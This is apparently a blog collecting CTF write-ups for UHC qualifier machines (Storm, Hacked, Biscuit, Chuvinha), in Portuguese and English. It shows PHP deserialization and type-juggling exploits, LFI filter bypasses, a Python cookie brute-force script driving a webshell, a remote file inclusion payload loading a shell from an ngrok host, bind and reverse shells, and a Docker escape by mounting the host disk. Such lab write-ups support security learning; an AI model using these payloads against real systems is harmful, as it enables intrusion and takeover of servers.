Class UHCProtocol{                   //declare a new class 
    public $data;
    public function __wakeup(){      //exploitable function by insecure deserealization**
    $this->add();
    }
    public function add(){
        return call_user_func($this->data, $_SERVER['QUERY_STRING']); //call a function with value of $data and use arguments with value in query string of the http request
    }

if($_SERVER['REQUEST_METHOD'] == "PUT"){  //verify type of the request, in case we have to use PUT

$raw = file_get_contents("php://input"); //put on $raw all contents of request body (php://input is the request body)

    if(strpos($raw, "::") !== false){ //verify if have "::" on $raw content and if yes return true
        $call = explode("::", $raw); //separte in a array $raw by "::" and put this on array named $call
        $badfuncs = ['system', 'aaaa'];  //declare a array with denided functions

        if(in_array($call[0], $badfuncs)){ //verify if in first part of $raw, before :: ($call[0]) have any of denides functions
            die("Denied Func!"); //if yes, die() with a message "Denied Func!"
        }
        if(strpos($call[1], "|") !== false){ //verify if in second part of $raw, after :: ($call[1]) have a "|"
            $data = explode("|", $call[1]); //if yes separate $call[1] by | and put this on a array named $data
            call_user_func_array($call[0], $data); //call a function with $call[0] value and $data value in arguments
        }else{ //if not...
            call_user_func($call[0], $call[1]); //call a function with $call[0] value and $call[1] value in arguments
        }
    }
}
?>

Basicamente o que temos que fazer para começar a testar é mandar um request PUT e nos valores do body passar nossa payload contendo “::”. Dando uma lida sobre como usar a função call_user_func do php podemos perceber que o primeiro argumento é o nome da função que queremos rodar, e o segundo argumento são os valores a serem passados para essa função, exemplo:

call_user_func("print_r", "hello"); //will print "hello"

Como podemos observar no nosso código comentado, se seguirmos as validações do if, o código deverá executar uma função que colocarmos antes do “::” e os argumentos serão os valores que colocarmos depois do “::”.

print_r::hello

Vamos abrir o burp e enviar esse PUT contendo nossa payload.

/assets/storm/Untitled%2011.png

Recebemos Access Denided!, isso deve ser pelo fato de estarmos acessando o config.php, vamos então pensar, para que um script “config.php’ é usado? para setar todas as variáveis e classes de configuração do site, portando outras páginas do site dão um include nele…

Vamos mandar o request para index.php, ja que provavelmente ele inclui o config.php no código…

/assets/storm/Untitled%2012.png

Deu certo, bom agora vamos ver o que podemos fazer com isso, usar funções para ler arquivos (LFI), rodar funções de sistema? Não pois elas estão sendo checadas na nossa payload, então o que vamos fazer?

Lembram do comentário na função wakeup da classe?

O que vamos ter que fazer é uma desseralização insegura!

Exploitation

RCE

Deserialization

Recomendo quem não souber do que se trata dar uma pesquisada em alguns artigos.

Aqui vai o código da classe vulnerável:

Class UHCProtocol{
    public $data;
    public function __wakeup(){
    $this->add();
    }
    public function add(){
        return call_user_func($this->data, $_SERVER['QUERY_STRING']);
    }
}

Observem a função wakeup, ela é uma função que recebe o nome de função mágica. Toda vez que no php um objeto é desserealizado essa função é chamada.

Nessa classe a função wakeup está executando a função add() que por sua vez tem um call_user_func que recebe os valores $data e os valores contidos na query do request (http://website.com/index.php?this-is=a-query).

O valor de $data vai ser o nome da função que o call_user_func vai executar e os calores da query serão os argumentos…

Ok, temos o código vulnerável a desserealização, mas onde tem um objeto para ser desserealizado?

Simples! Se lembram do nosso “poder” de executar funções com o nosso body malicioso no request PUT? Vamos um “unserealize” com os argumentos sendo um objeto modificado por nós.

Esse objeto modificado terá que ter o nome da função que iremos rodar com o valor de $data, portanto vamos apenas escrever um script para serializar uma classe modificada.

<?php
Class UHCProtocol{
    public $data = "print_r";
    public function __wakeup(){
    $this->add();
    }
    public function add(){
        return call_user_func($this->data, $_SERVER['QUERY_STRING']);
    }
}
$object = new UHCProtocol();
echo serialize($object);
?>

/assets/storm/Untitled%2013.png

Agora vamos desserealizar isso e passar os argumentos na query da URL:

/assets/storm/Untitled%2014.png

Conseguimos! Com isso não precisamos nos importar com as funções proibidas do config.php, já que nosso $data não passa por nenhum tipo de validação.

Porém vamos ver no info.php se tem alguma função que não tenha sido desabilitada que possa permitir um RCE.

/assets/storm/Untitled%2015.png

Dando uma olhada, parece que a função “exec” está liberada, vamos testar, porém é importante lembrar que a função exec não possui output, logo vamos rodar um “sleep” para ver se o código foi executado.

/assets/storm/Untitled%2016.png

Parece que deu certo, utilizei ${IFS} pois é um bypass para dar um espaço no linux.

Temos RCE, agora vamos pegar uma reverse shell!

Pós-exploitation

Root

/assets/storm/Untitled%2017.png

Habemos shell!

Full tty shell
in your shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your shell~ export TERM=xterm

E dando uma olhada no “/”, habemos flag!

/assets/storm/Untitled%2018.png

Fazendo um recon normal de pós exploitation, consegui achar algumas coisas interessantes, a mais especial, um script com permissão de SUID chamado “storm” no / :

/assets/storm/Untitled%2019.png

Rodando ele parece que ele tem alguma palavra certa para se usar, como uma senha:

/assets/storm/Untitled%2020.png

Vamos usar o Ghidra para analizar o programa baixando para a nossa máquina e fazendo uma engenharia reversa para ver como ele está funcionando:

/assets/storm/Untitled%2021.png

Esse é o código decompilado pelo ghidra, o programa recebe um valor digitado pelo usuário pelo scanf e compara esse valor a uma string com o strcmp(), e então dependendo do que retornar dessa comparação ele vai executar um sleep e uma função chamada shell ou vai executar um print dizendo “Invalid cloud name”.

O que tem na função shell?

/assets/storm/Untitled%2022.png

Lembram que o programa tinha o capability de SUID? Nessa função shell ele seta o UID para 0 (root) e chama uma shell, isso significa que se a nossa comparação retornar true (se digitarmos a palavra certa), o programa vai nos dar uma shell de root.

Vamos dar uma olhada nessa comparação novamente.

iVar1 = strcmp("__libc_csu_fini",acStack200); 

Perceberam? É uma string, o prgrama verifica se no input do usuário existe “__libc_csu_fini”, logo, temos a “senha”! Vamos usar.

/assets/storm/Untitled%2023.png

Depois de um tempo (por conta do sleep), o programa nos da uma shell de root!

Na home do root encontrei a flag!

/assets/storm/Untitled%2024.png

É isso, obrigado por ler até aqui, e parabéns kadu pela máquina!

UHCCTF (Classificatória) - Hacked (Official Write-Up)

2 June 2021 at 03:00

Essa máquina foi feita por mim com ajuda dos meus amigos Luska e Kadu para o UHC. Os arquivos dela e o Dockerfile estarão no meu GitHub.

Recon

A primeira página é uma linda arte (uma deface), dizendo que o site foi hackeado:

/assets/hacked/Untitled.png

Logo de cara temos uma flag, essa eu não censurei pois é literalmente abrir o site. Lendo o source code da página não encontrei nada, como esse arquivo deve ser o index vamos rodar um fuzzing no site para achar mais arquivos e diretórios. Utilizei o ffuf com as wordlists do seclists.

common.txt:

/assets/hacked/Untitled%201.png

De costume vou testar esse /uploads/, mas deu 404 😢

raft-small-files.txt:

/assets/hacked/Untitled%202.png

Parece que encontramos um também “home.php” vamos dar uma olhada:

/assets/hacked/Untitled%203.png

Um site sobre customização de carros, vamos dar uma navegada no site para ver se encontramos algo interessante:

Logo percebemos que quando clicamos nos botões ali no cabeçalho não somos redirecionados para a página deles, e sim a página deles é “incluída” em um parâmetro GET no home.php:

/assets/hacked/Untitled%204.png

Isso parece estar vulnerável a Local File Inclusion (LFI), uma vulnerabilidade que permite ao atacante incluir ou ler arquivos do servidor…

(Agora vai ter uma divisão no write-up para você que fez a máquina no dia do uhc ou no UHCLABS ou se você estiver rodando no docker. Se você estiver no docker ou localmente sem nenhum WAF é só pular a próxima parte “WAF bypass”)

Exploitation

LFI

No UHC havia um WAF do cloudfare, e isso impossibilitou ler arquivos do servidor completamente, então vamos seguir com a exploração do nosso LFI, vamos fazer um teste tentando incluir o nosso home.php alterando a URL para: (apenas home pois nas outras páginas ele auto completa o .php):

https://hacked.uhclabs.com/home.php?page=home

/assets/hacked/Untitled%205.png

/assets/hacked/Untitled%206.png

A página ficou duplicada, e no source podemos comprovar isso, porém, se a página é um php que inclui outras páginas, onde está as tags php e o código php para nós vermos como isso funciona?

Ai é que está o WAF (Web Application Firewall) está omitindo o código php do nosso arquivo. Então teremos de fazer um Bypass do WAF e acessar diretamente o ip do servidor, e para isso vamos aproveitar nosso LFI.

Exploitation Bypass WAF

Para explorar esse bypass utilizaremos os wrappers do php. (https://www.php.net/manual/en/wrappers.php)

/assets/hacked/Untitled%207.png

Vamos usar o wrapper do ftp para fazer o site fazer uma requisição para o nosso IP como se fosse se conectar ao ftp assim nos indicando qual é o IP real do servidor.

Na minha máquina:

nc -lvp 4444

Payload:

https://hacked.uhclabs.com/home.php?page=ftp://IP:PORT/x

Recebemos:

/assets/hacked/Untitled%208.png

Esses servidores ec2 da amazom para pegar o ip é só pegar esses números da url: 34.219.224.183

Vamos acessar e rodar a inclusão do home.php e deve funcionar.

/assets/hacked/Untitled%209.png

Apenas trocando a URL por home ele automaticamente adicionou o .php e nos mostrou o conteúdo do arquivo home.php.

Lendo esse código podemos perceber que ele tem algumas proteções quanto a algumas coisas. Vamos tentar ler arquivos do servidor no caso o clássico /etc/passwd:

(../ serve para voltar diretórios)

/assets/hacked/Untitled%2010.png

/assets/hacked/Untitled%2011.png

Pelo o que podemos ver retornou um erro, que podemos entender já que temos o código. Da nossa payload ele retirou todos os “../” e substituiu por “” (nada) , ele retirou a palavra “passwd” e trocou por “ERROR” e por fim adicionou “.php” no final, logo o arquivo não existe e ele não mostra o conteúdo.

Lendo o código podemos ver que a proteção de “../” está vulnerável a um bypass que consiste em escrever uma palavra dentro da outra:

pal(palavra)avra -> palpalavraavra
.(../)./ -> ..././

Assim quando o código retirar a primeira palavra ele vai concatenar a palavra proibida passando o que queremos.

Para bypassarmos o ERROR não vamos conseguir, portando vamos ler outro arquivo que não esteja na nossa blackllist como /etc/hosts.

Agora o .php no final, tem uma linha no código que diz que se existir um parâmetro GET chamado “ext” ele vai usar o que estiver nele para completar a extensão do arquivo, e se o parâmetro não estiver setado ele vai adicionar .php no final. Logo o que temos que fazer é setar o parâmetro ext para ““(nada).

Vamos a payload:

34.219.224.183/home.php?page=..././..././..././..././..././etc/hosts&ext=

Conseguimos!

/assets/hacked/Untitled%2012.png

Bom agora parece que teremos que ler algum arquivo do servidor, poderíamos fazer um fuzzing usando o LFI ou refazer nosso fuzzing novamente e usar o LFI para ler os arquivos. Rodei a wordlist raft-large-words.txt com a extensão php. (Usei um filtro de tamanho do ffuf “-fs 283”)

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -u 'https://hacked.uhclabs.com/uploads/FUZZ' -e .php 

/assets/hacked/Untitled%2013.png

Parece que encontramos a webshell que o hacker usou para invadir esse sistema, vamos dar uma olhada nela e ao mesmo tempo usar o nosso LFI para ler ela. Opa achamos uma flag!

/assets/hacked/Untitled%2014.png

/assets/hacked/Untitled%2015.png

Exploitation

Part2

Pelo jeito é uma webshell com senha:

<?php
$pass1 = $_GET['pass1'];
$pass2 = $_GET['pass2'];
$secret = file_get_contents('../../secret'); // /var/www
$hmac_client = hash_hmac('sha256', $pass1, $pass2);
$hmac_server = hash_hmac('sha256', 'Gu%40$!mN0123', $secret);
$hmac_server =  (int)$hmac_server;
if($_COOKIE['token']){
    $hmac_client = $_COOKIE['token'];
}; 

if($hmac_client == $hmac_server):
    setcookie('token', $hmac_client);
?>

Esse é o código, dando uma olhada ele faz uma hash usando a senha1(Gu%40$!mN0123) e a senha2 (conteúdo do ../../secret), e ele compara essa hash com a hash feita com os valores que o usuário passa via GET, porém existe um (int) que transforma a hash do servidor em um valor inteiro. Vamos reproduzir isso localmente…

<?php
$secret = "anything";
$hmac_server = hash_hmac('sha256', 'Gu%40$!mN0123', $secret);
echo "hash: ";
echo $hmac_server;
echo " ";
echo "int: ";
echo (int)$hmac_server;
?>

Retorna:

/assets/hacked/Untitled%2016.png

Aqui vemos como essa conversão da hash para um numero inteiro funciona, o php pega então os primeiros números da hash com o (int) e compara com o valor passado pelo usuário, outra coisa legal é que o usuário pode passar esse valor via COOKIE…, logo poderemos declarar nosso cookie “token” para algum número inteiro e a comparação ira dar TRUE.

if($hmac_client == $hmac_server): // vulnerable

Vamos então encontrar um número inteiro que consiga gerar TRUE na comparação e bypassar a autenticação da webshell. Podemos ver no código que existe um parâmetro POST chamado cmd que é usado quando a autenticação retorna TRUE , e esse parâmetro é o código que será executado na webshell. Pensando nisso escrevi um exploit em python para fazer um bruteforce de valores numéricos no cookie até conseguir a autenticação e por fim rodar o comando que eu quiser na máquina.

import requests
import sys
cmd = sys.argv[1]
url = "http://34.219.224.183/uploads/webshell.php"
for num in range(0, 1000):
        token = num
        print("[INFO] Testing: ", token)
        cookies = {'token': str(token)}
        r = requests.get(url, cookies=cookies)
        if len(r.text) != 565:
                print("[EXPLOIT] Token:", token, "CMD:", cmd)
                payload = {'cmd': cmd}
                a = requests.post(url, data=payload, cookies=cookies)
                print(a)

/assets/hacked/Untitled%2017.png

Funcionou o cookie que começa com 9, mesmo ja tendo RCE, vamos setar o cookie e ver a webshell…

Apenas setei o cookie para 9:

/assets/hacked/Untitled%2018.png

Uma webshell muito linda! Agora que temos RCE vamos pegar uma shell.

Exploitation

Part3

Habemos Shel!

Eu utilizei um site para pegar a shell porém, eu poderia ter usado também o https://www.revshells.com/ que é um gerador de comandos, para pegar uma shell, eu apenas coloco as informações e ele gera a payload para eu mandar para o servidor 😉.

/assets/hacked/Untitled%2019.png

Full tty shell
in your rev-shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your rev-shell~ export TERM=xterm

Fazendo um recon básico com o “sudo -l” podemos ver que conseguimos rodar um programa com um outro usuário na maquina sem senha.

/assets/hacked/Untitled%2020.png

No caso o programa que podemos rodar é o cowsay:

/assets/hacked/Untitled%2021.png

Dando uma olhada no GTFObins podemos ver como funciona o priv esc utilizando o cowsay:

/assets/hacked/Untitled%2022.png

/assets/hacked/Untitled%2023.png

Basicamente o argumento -f no cowsay nos permite setar o “estilo” da vaquinha, porém esse estilo é um script em perl, logo podemos escrever um template malicioso e mandar o cowsay executar, agora vamos apenas fazer isso.

/assets/hacked/Untitled%2024.png

Agora como usuário john rodando um “ls -la” na home dele podemos encontrar a próxima flag:

/assets/hacked/Untitled%2025.png

Exploitation

Part4

Rodando novamente o “sudo -l” podemos rodar /bin/sh como root sem senha, então bora la pegar esse root!

/assets/hacked/Untitled%2026.png

Ué, cade a flag? Esse root não foi muito facil?

/assets/hacked/Untitled%2027.png

Parece que estamos dentro de um docker e teremos que escapar dele, eu poderia testar algumas formas manuais de verificar como vamos fazer isso porém rodei uma tool chamada deepce que ja me deu uma dica de um possível vetor de ataque…

/assets/hacked/Untitled%2028.png

/assets/hacked/Untitled%2029.png

Pelo jeito estamos em um container privilegiado, isso significa que podemos montar os arquivos do host dentro do nosso container ou até mesmo executar comandos no host.

Vamos rodar um: (Para visualizar os discos do servidor do host)

fdisk -l

E então montar o disco no nosso container:

mkdir -p /mnt/a
mount /dev/xvda1 /mnt/a

Agora vamos usar o chroot aonde montamos o disco:

/assets/hacked/Untitled%2030.png

E conseguimos! mais uma flag de brinde!

Espero que tenham gostado, para você que leu até aqui, obrigado!

H4ckTh3Pl4n3t!

UHCCTF (Classificatória) - Biscuit (Official Write-Up) - eng

1 June 2021 at 03:00

Hello, I’m Vinicius (big0us), this is a write-up of a machine that was the challenge for one of UHC’s qualifiers. (translate to english by 0day) Happy reading :) g00d_h4ck1ng

Recon

/assets/biscuit/Untitled.png

The first page you’re greeted with a login page, taking a look at the HTML of the page, apparently there’s nothing hidden, I’ll fuzz first, then we can test some credentials.

/assets/biscuit/Untitled%201.png

Apparently our fuzzing only showed a /class, where there is a directory listing pointing to a “.php” file.

/assets/biscuit/Untitled%202.png

Okay, let’s test some default credentials in the login form:

admin:admin
guest:guest
administrator:admin
root:root

By testing “guest:guest” we were able to enter:

/assets/biscuit/Untitled%203.png

Looking around apparently, we only have a welcome page. Let’s check our cookies.

/assets/biscuit/Untitled%204.png

/assets/biscuit/Untitled%205.png

Using cyberchef to decode the cookie, we can see that it’s JSON with three values: hmac (probably something that validates the values), username, and a time for the cookie to expire.

I’m going to try to change the username value in the cookie to “admin” with base64 & URL encoding, and then send back to the application.

/assets/biscuit/Untitled%206.png

This page showed an error saying that we’re trying to do “cookie tampering”, and returned a flag! The first flag. After some tests, sending cookies with other random values, I realized that the application validates the cookie by the value of hmac, and not by the entire content of json. A well-known vulnerability about PHP validations is type-juggling, which consists of bypassing authentications by making any if($ == $) that will always return “true”.

PHP Tricks (SPA)

PHP Type Juggling Vulnerabilities

/assets/biscuit/Untitled%207.png

Basically when a programmer uses “==” in a php comparison, first it makes the two values the same type, ignoring the type (int, str…) of the variables. And in this situation we can use some techniques for the comparison to return “true”.

Exploitation

After trying for quite a while, I tried changing the value of “hmac” to “true” and luckily it worked!

/assets/biscuit/Untitled%208.png

{"hmac":true,"username":"admin","expiration":1625435484}

/assets/biscuit/Untitled%209.png

Okay :( I was sad that there are no flags here. I’ll try to change the username again, to understand what’s going on.

Changing to “test”, php gives us an error, it seems it’s running a “require_once” on the value we put & appending “.php” at the end. require_once is normally used to include pages and php files in websites, and when the user has control over the value that require_once uses, the application is vulnerable to LFI or RFI (Local/Remote File Inclusion).

/assets/biscuit/Untitled%2010.png

As the application already puts the .php at the end, I will do the following. Upload a file with a webshell on a server using ngrok, then tell the application to include my file and get an RCE.

/assets/biscuit/Untitled%2011.png

And I will send the payload:

{"hmac":true,"username":"https://3b4f8afabab2.ngrok.io/shell","expiration":1625435484}

(The application now puts the .php)

We have RCE!!

/assets/biscuit/Untitled%2012.png

Now I’m going to try to get a reverse shell. After a few attempts I realized that there is a firewall in the application that blocks any communication on ports other than 80 or 443, since I don’t have a VPS, I’ll do it differently, instead of a reverse shell (where the victim connects back to me) I’m going to use a bind shell (opening a port on the machine and connecting to it). For this I will use “socat”.

[socat GTFOBins](https://gtfobins.github.io/gtfobins/socat/#bind-shell)

/assets/biscuit/Untitled%2013.png

First I got the socat binary in their github (socat binary) and passed it to the machine using the web-server that I created to get RCE, and curling it. I ran the commands that are in the image and got a bind shell! (I used port 6969)

/assets/biscuit/Untitled%2014.png

In “/” have our next flag:

/assets/biscuit/Untitled%2015.png

Post Exploitation

Doing the basic privesc checklist, we can see that we are the apache user and we can run a script as root on the machine:

/assets/biscuit/Untitled%2016.png

Apparently we can’t read the script or change it.

/assets/biscuit/Untitled%2017.png

What’s left for us to do, is to simply RUN IT!:

/assets/biscuit/Untitled%2018.png

The file prints an IP with option 2 (List Blocked IP’s), taking a look at /var/www/html the web application path, we can see that there is a file with the same IP that was printed, so it’s printing the IP that is in the file.

/assets/biscuit/Untitled%2019.png

I opened the file with nano (before running ‘export TERM=xterm’ !!) and started editing it, to try and provoke some type of error in python that would show me something from the program.

/assets/biscuit/Untitled%2020.png

/assets/biscuit/Untitled%2021.png

Interestingly, there is a different (not used often) format string running. Searching about this type of format string + vulnerabilites, I ended up stumbling on this article.

Are there any Security Concerns to using Python F Strings with User Input

Basically it explains everything we need to do, so I won’t explain it again, but the way this format string works, allows us to inject more strings to be formatted, and if this is printed we can print all the global variables that the file uses, usually giving us some key or password.

Okay here is my final payload.

{"ips":["{ip.list_blocked.__globals__}"]}

/assets/biscuit/Untitled%2022.png

This worked and we got the value of a variable called root_secret, it’s probably the root password.

/assets/biscuit/Untitled%2023.png

Worked!! Thanks to you who’ve read this far, I hope you enjoyed this challenge / writeup!

UHCCTF (Classificatória) - Biscuit (Official Write-Up) pt-br

1 June 2021 at 03:00

Ola sou o Vinicius (big0us), esse é um write-up de uma maquina que foi o challenge de uma das etapas classificatórias do UHC.

Escreverei meio rápido então peço desculpas se algo estiver um pouco ruim.

Boa leitura :)

g00d_h4ck1ng

Recon

/assets/biscuit/Untitled.png

A primeira página é uma página de login, dando uma olhada no HTML da página aparentemente não existe nada escondido, vou rodar um fuzzing e depois poderemos testar algumas credenciais.

/assets/biscuit/Untitled%201.png

Aparentemente nosso fuzzing entregou apenas um /class, onde existe um directory listing apontando um arquivo “.php”.

/assets/biscuit/Untitled%202.png

Ok, vamos testar algumas credenciais padrões no formulário de login:

admin:admin
guest:guest
administrator:admin
root:root

Testando “guest:guest” conseguimos entrar:

/assets/biscuit/Untitled%203.png

Dando uma olhada aparentemente temos só uma página de welcome.

Vamos ver nossos cookies.

/assets/biscuit/Untitled%204.png

Vamos entender melhor esse cookie chamado session pois ele parece ser interessante:

/assets/biscuit/Untitled%205.png

Utilizando o cyberchef para decodar o cookie podemos perceber que se trata de um JSON com três valores: hmac (provavelmente algo que valide os valores), username, e uma hora para o cookie expirar.

Vou tentar alterar o valor de username para “admin” encodar em base64, url e então enviar para a aplicação.

/assets/biscuit/Untitled%206.png

Aparentemente retornou um erro dizendo que estamos tentando fazer um “temperamento de cookie”, e retornou uma flag! Nossa primeira flag.

Depois de alguns testes enviando cookies com outros valores aleatórios, acabei percebendo que a aplicação valida o Cookie pelo valor do hmac, e não pelo conteudo inteiro do json.

Uma vulnerabilidade muito conhecida sobre validações do PHP é o type jugling, que consiste em bypass de autenticações fazendo qualquer if($ == $) retornar “true”.

PHP Tricks (SPA)

PHP Type Juggling Vulnerabilities

/assets/biscuit/Untitled%207.png

Basicamente quando um programador utiliza “==” em uma comparação o php primeiro torna os dois valores do mesmo tipo, ignorando o tipo (int, str…) das variáveis.

E nessa operação podemos utilizar algumas técnicas para a comparação retornar “true”.

Exploitation

Depois de um tempo tentando, testei trocar o valor do “hmac” para “true” e aparentemente funcionou!

/assets/biscuit/Untitled%208.png

{"hmac":true,"username":"admin","expiration":1625435484}

/assets/biscuit/Untitled%209.png

Ok, fiquei triste que não existe nenhuma flag por aqui 😢.

Vou tentar alterar o nome do usuário para entender o que está acontecendo.

Alterando para “test” o php nos retorna um erro, aparentemente ele está rodando um “require_once” no valor que colocamos + adicionando .php no final. require_once normalmente é usado para incluir páginas e arquivos php em sites, e quando o usuário tem controle sobre o valor que o require_once vai usar a aplicação está vulnerável a LFI ou RFI (Local/Remote File Inclusion).

/assets/biscuit/Untitled%2010.png

Como a aplicação ja coloca o .php no final vou fazer o seguinte.

Subir um arquivo com uma webshell num servidor utilizando o ngrok, mandar a a aplicação incluir meu arquivo e conseguir um RCE.

/assets/biscuit/Untitled%2011.png

E vou mandar a payload:

{"hmac":true,"username":"https://3b4f8afabab2.ngrok.io/shell","expiration":1625435484}

(A aplicação ja vai colocar o .php)

Temos RCE!!

/assets/biscuit/Untitled%2012.png

Agora vou tentar pegar uma reverse shell.

Após algumas tentativas percebi que existe um firewall na aplicação que bloqueia qualquer comunicação em portas que não forem 80 ou 443, como eu não tenho uma VPS, vou fazer de uma forma diferente, ao invés de uma reverse shell (onde a vitima se conecta no atante) vou pegar uma bind shell (abrindo uma porta na maquina e me conectando nela).

Para isso vou usar o “socat”.

[socat GTFOBins](https://gtfobins.github.io/gtfobins/socat/#bind-shell)

/assets/biscuit/Untitled%2013.png

Primeiro peguei o binario do socat no github deles (socat binary) e passei pra maquina utilizando o web-server que eu criei para conseguir RCE, e dando um curl.

Então rodei os comandos que estão na imagem e consegui uma bind shell! (utilizei a porta 6969)

/assets/biscuit/Untitled%2014.png

E navegando um pouco no / encontramos a próxima flag:

/assets/biscuit/Untitled%2015.png

Pós Exploitation

Fazendo o básico checklist de priv esc podemos perceber que estamos com o usuário do apache e podemos rodar um script como root na máquina:

/assets/biscuit/Untitled%2016.png

Aparentemente não podemos ler o script e nem altera-lo.

/assets/biscuit/Untitled%2017.png

O que nos resta é roda-lo:

/assets/biscuit/Untitled%2018.png

Aparentemente ele printa um IP, dando uma olhada no /var/www/html o path da aplicação web podemos perceber que existe um arquivo com o mesmo ip que ele printou, então aparentemente ele está printando o IP que está no arquivo.

/assets/biscuit/Untitled%2019.png

Abri o arquivo com o nano (antes rodar ‘export TERM=xterm’ !!) e começei a edita-lo para tentar retornar algum erro no python que me mostre alguma coisa do programa.

/assets/biscuit/Untitled%2020.png

/assets/biscuit/Untitled%2021.png

Interessante, aparentemente existe um format string diferente (pouco usado) rodando.

Pesquisando sobre esse tipo de format string + vulnerabilites acabei tropeçando nesse artigo.

Are there any Security Concerns to using Python F Strings with User Input

Basicamente nele explica-se tudo o que precisamos fazer, por isso não vou explicar direitinho, mas basicamente a forma que esse format string funciona nos permite injetar mais strings para serem formatadas, e se isso é printado podemos printar todas as váriaveis globais que o arquivo usa, normlamente dando alguma key ou senha para nós. (Para quem não entende muito bem inglês é só traduzir que fica tranquilo de entender).

Ok então vamos a payload.

{"ips":["{ip.list_blocked.__globals__}"]}

/assets/biscuit/Untitled%2022.png

Aparentemente funcionou e conseguimos o valor de uma váriavel chamada root_secret, provavelmente é a senha do root.

/assets/biscuit/Untitled%2023.png

Worked!!

Obrigado a você que leu até aqui, parabéns cadu pela máquina, e desclupe por algum erro no write-up, fiz correndo >_>

UHCCTF (Classificatória) - Chuvinha

13 September 2020 at 03:00

Recon

(Não usei o nmap pois abri a máquina no meu computador, o nmap não apontaria nada demais se eu rodasse ele no UHCLabs ou no próprio dia do UHC)

/assets/chuvinha/Untitled.png

De início o site é um blog sobre hacking e possui alguns lugares para compra de cursos, incluindo ZAP LOCKING (trava zap)…

Dando uma olhada no site em busca de falhas e também no código fonte, a primeira coisa que eu tentei “explorar” foi um formulário de e-mail no final da página, em busca de alguns Comand Injections, Server-side Request Forgery e etc.

/assets/chuvinha/Untitled%201.png

Porém não encontrei nada.

Então segui e rodei um Fuzzing em busca de arquivos e diretórios no site, utilizei uma ferramenta chamada “ffuf”:

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://127.0.0.1/FUZZ' -c

/assets/chuvinha/Untitled%202.png

Como está no comando acima eu utilizei a wordlist “common.txt” do repositório seclists no github. De início houve alguns retornos interessantes, eu poderia rodar outras wordlists, normalmente eu uso a “common.txt, quickhits.txt e big.txt”.

LICENSE                - Apenas uma licensa de código, muito comum em ctfs;
admin.php              - Painel de administração, vamos voltar nele mais tarde;
.hta                   - Arquivos do apache, status code 403 acesso negado!
css                    - Pasta de arquivos do CSS, acesso negado!
.git/HEAD              - ".git" exposed uma vulnerabilidade crítica;
font                   - Arquivo de fontes, acesso negado!
fonts                  - Arquivo de fontes, acesso negado!
img                    - Uma pasta com as imagens do site, acesso negado!
index.html             - Página incial do site;
.htaccess              - Arquivos do apache, status code 403 acesso negado!
js                     - Arquivos de javascript, acesso negado!
.htpasswd              - Arquivos do apache, status code 403 acesso negado!
server-status          - Script que verifica se o servidor está online, porém, status code 403 acesso negado!
uploads                - Pasta de uploads, interessante... mas acesso negado.

Na página /admin.php temos um redirect para /login.php onde existe formulário de login, podemos verificar se existe alguma forma de achar credenciais e fazer o login ou fazer algum tipo de bypass.

/assets/chuvinha/Untitled%203.png

Na página /.git parece que temos uma possível falha de “git exposed”, vamos verificar se é válida e se sim vamos explora-la.

(Ao invés de entrar no “/.git/HEAD” verifiquei o “.git”:

/assets/chuvinha/Untitled%204.png

Temos uma página dizendo que não podemos acessar o .git, esse template é incomum de ver em páginas com .git exposto, ai deve ter algo, dando um Ctrl+U para verificar o código fonte da página acabei encontrando a primeira flag! (sempre é bom ler o código fonte das aplicações).

/assets/chuvinha/Untitled%205.png

Agora as chances da exploração serem pela falha de git exposed aumentaram pelo fato da primeira flag estar lá.

Se o desenvolvedor utiliza o Git para controle de versões do site, lá ficariam localizados todos os arquivos do site, commits (pequenas notas sobre o que mudou de versão para versão) e etc, o /.git não deveria ser acessível pelo público.

Exploitation

Parte 1

Para explorar o Git Exposed existem duas formas, de forma manual, e usando algumas tools. Eu recomendo tentar fazer de forma manual, e depois rodar a Tool, para aprender o que realmente a Tool faz. Vou deixar um link onde existe um artigo sobre falha de Git Exposed e sobre como explorar de forma manual (https://medium.com/swlh/hacking-git-directories-e0e60fa79a36).

Como disse acima vamos usar algumas ferramentas para essa exploração, no caso elas estão em um repositório do GitHub que tem o nome de GitTools (https://github.com/internetwache/GitTools)

Na verdade é um pacote com 3 scripts, vamos usar dois deles, o Dumper e o Extractor.

Primeiro o Dumper para dumpar as coisas que estão no Git da máquina. (o segundo argumento é a pasta para onde os arquivos vão, botei na pasta onde está o script de extrair os arquivos para facilitar).

./gitdumper.sh 'http://127.0.0.1/.git/' ~/Tools/GitTools/Extractor/dumpchuvinha

/assets/chuvinha/Untitled%206.png

Agora vamos para o diretório do Extractor e vamos extrair esse dump de arquivos para podermos ler:

./extractor.sh dumpchuvinha extractchuvinha

/assets/chuvinha/Untitled%207.png

Agora temos todos os arquivos do site na nossa maquina!

E parece que tem uma flag aqui hehe:

/assets/chuvinha/Untitled%208.png

Parece que teremos que fazer um code review…

Vou abrir tudo no VisualStudioCode para facilitar.

Na primeira versão do site (/0-be7dbd2b1e15ffec896cf61484c5a89d18b77335) temos um arquivo de log do apache para ler.

/assets/chuvinha/Untitled%209.png

São várias solicitações GET para o site que não aparentam ter nada de interessante, são tantas iguais o que me da a ideia de procurar por algo diferente em meio a todas essas iguais, dando um Ctrl+F para pesquisar dentro do arquivo, eu procuro por “POST” um outro método http, e incrivelmente eu encontro um request POST de uma autenticação, com credenciais para a página login.php, na fase de reconhecimento identificamos a página admin.php, muito provavelmente essas credenciais são do administrador do site.

/assets/chuvinha/Untitled%2010.png

Como é um request php parece que a senha está encodada em string de URL, vou utilizar um decoder de URL para arrumar isso.

/assets/chuvinha/Untitled%2011.png

Ok, vamos testar essas credenciais!

/assets/chuvinha/Untitled%2012.png

Logamos!

(Um aviso: Agora a exploração será um pouco complicada, não prometo que vai ser o melhor jeito de explicar porém darei o meu melhor)

Nessa página temos um lugar para colocar uma URL de imagem e um campo que checa o tamanho da imagem (Arquivo).

Tentei colocar alguns arquivos para tentar upar alguma shell, mas não tive resultados.

Vamos retornar para o código que dumpamos para entender melhor como que isso funciona:

/assets/chuvinha/Untitled%2013.png

Nós passamos um link e o php executa um wget para esse link pegando o arquivo e salvando (por conta da função escapeshellarg() nós não conseguiremos manipular o input para trigar um RCE), mas existem outras formas…

Depois ele roda um filesize() no arquivo e retorna o outupt na página.

Um adendo a uma parte do código curiosa no começo dele:

/assets/chuvinha/Untitled%2014.png

